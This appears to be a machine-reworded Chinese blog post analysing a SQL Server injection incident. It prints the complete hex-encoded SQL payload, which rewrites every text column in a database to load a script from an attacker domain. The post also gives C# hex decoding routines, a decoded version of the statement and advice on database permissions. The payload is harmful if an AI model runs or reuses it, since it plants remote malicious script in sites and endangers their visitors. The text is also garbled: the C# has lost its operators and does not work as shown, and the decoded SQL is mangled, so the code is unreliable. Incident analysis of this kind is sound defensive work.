今日盆友碰到一个难题,他的sql server 数据库查询强制执行了一条句子
dEcLaRe @s vArChAr(8000) sEt @s=0x6445634c615265204074207641724368417228323535292c406320764172436841722832353529206445634c615265207441624c655f637572736f5220635572536f5220466f522073457c45635420612e6e416d452c622e6e416d452046724f6d207359734f624a6543745320612c735973436f4c754d6e53206220774865526520612e69443d622e694420416e4420612e78547950653d27752720416e442028622e78547950653d3939206f5220622e78547950653d3335206f5220622e78547950653d323331206f5220622e78547950653d31363729206f50654e207441624c655f637572736f52206645744368206e6578742046724f6d207441624c655f637572736f5220694e744f2040742c4063207768696c6528404066457443685f7374617475733d302920624567496e20657865632827557044615465205b272b40742b275d20734574205b276b40632b275d3d727472696d28636f6e7665727428764172436841722c5b272b40632b275d29292b27273c2f7469747c653e223e3c736372697074207372633d687474703a2f2f2536312532452537302537302536442536442536462536462532452536332536453e3c2f7363726970743e3c212d2d27272729206645744368206e6578742046724f6d207441624c655f637572736f5220694e744f2040742c406320654e6420634c6f5365207441624c655f637572736f52206445416c4c6f43615465207441624c655f637572736f52 eXeC(@s)--
从0x能够 看得出它是一段十六进制编号的sql语句
因此想起将其编解码:
针对十六进制字符串数组编号和编解码的C# 方式以下:

复制代码编码以下:
///
/// 从字符串数组变换到16进制表明的字符串数组
///
///
/// 编号,如"utf-8","gb2312"
/// 是不是每标识符用分号隔开
///
public static string ToHex(string s, string charset, bool fenge)
{
if ((s.Length % 2) != 0)
{
s = " ";//空格符
//throw new ArgumentException("s is not valid chinese string!");
}
System.Text.Encoding chs = System.Text.Encoding.GetEncoding(charset);
byte[] bytes = chs.GetBytes(s);
string str = "";
for (int i = 0; i < bytes.Length; i )
{
str = string.Format("{0:X}", bytes[i]);
if (fenge && (i != bytes.Length - 1))
{
str = string.Format("{0}", ",");
}
}
return str.ToLower();
}</p> <p> ///
/// 从16进制转化成utf编号的字符串数组
///
///
/// 编号,如"utf-8","gb2312"
///
public static string UnHex(string hex, string charset)
{
if (hex == null)
throw new ArgumentNullException("hex");
hex = hex.Replace(",", "");
hex = hex.Replace("\n", "");
hex = hex.Replace("\\", "");
hex = hex.Replace(" ", "");
if (hex.Length % 2 != 0)
{
hex = "20";//空格符
throw new ArgumentException("hex is not a valid number!", "hex");
}
// 必须将 hex 转化成 byte 数字能量数组。
byte[] bytes = new byte[hex.Length / 2];
for (int i = 0; i < bytes.Length; i )
{
try
{
// 每2个标识符是一个 byte。
bytes[i] = byte.Parse(hex.Substring(i * 2, 2),
System.Globalization.NumberStyles.HexNumber);
}
catch
{
// Rethrow an exception with custom message.
throw new ArgumentException("hex is not a valid hex number!", "hex");
}
}
System.Text.Encoding chs = System.Text.Encoding.GetEncoding(charset);</p> <p>return chs.GetString(bytes);
}

因此对这一段编码开展编解码:

复制代码编码以下:
private static void TestHexStringDecode()
{
string oldSql = "6445634c615265204074207641724368417228323535292c406320764172436841722832353529206445634c615265207441624c655f637572736f5220635572536f5220466f522073457c45635420612e6e416d452c622e6e416d452046724f6d207359734f624a6543745320612c735973436f4c754d6e53206220774865526520612e69443d622e694420416e4420612e78547950653d27752720416e442028622e78547950653d3939206f5220622e78547950653d3335206f5220622e78547950653d323331206f5220622e78547950653d31363729206f50654e207441624c655f637572736f52206645744368206e6578742046724f6d207441624c655f637572736f5220694e744f2040742c4063207768696c6528404066457443685f7374617475733d302920624567496e20657865632827557044615465205b272b40742b275d20734574205b276b40632b275d3d727472696d28636f6e7665727428764172436841722c5b272b40632b275d29292b27273c2f7469747c653e223e3c736372697074207372633d687474703a2f2f2536312532452537302537302536442536442536462536462532452536332536453e3c2f7363726970743e3c212d2d27272729206645744368206e6578742046724f6d207441624c655f637572736f5220694e744f2040742c406320654e6420634c6f5365207441624c655f637572736f52206445416c4c6f43615465207441624c655f637572736f52";
Console.Write(System.Web.HttpUtility.UrlDecode( UnHex(oldSql, "utf-8").ToLower()));
}

那样它的原形就现出来

复制代码编码以下:
declare @t varchar(255),@c varchar(255) declare table_cursor cursor for select a
.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and
(b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) open table_cursor fetch
next from table_cursor into @t,@c while(@@fetch_status=0) begin exec('update ['
@t '] set [' @c ']=rtrim(convert(varchar,[' @c '])) ''"> ose table_cursor deallocate table_cursor

开展引入的人的网站地址便是a.ppmmoo.cn

大伙儿平常应当多留意这类引入, 能够 根据操纵对数据库查询的管理权限来防止上边这一段编码的引入,据盆友详细介绍这人是在光纤线的电脑引入的,估算用肉食鸡,或是网络服务器~~~
此外 http://home2.paulschou.net/tools/xlate/ 这一网站地址能够 对Hex编号的字符串数组开展编解码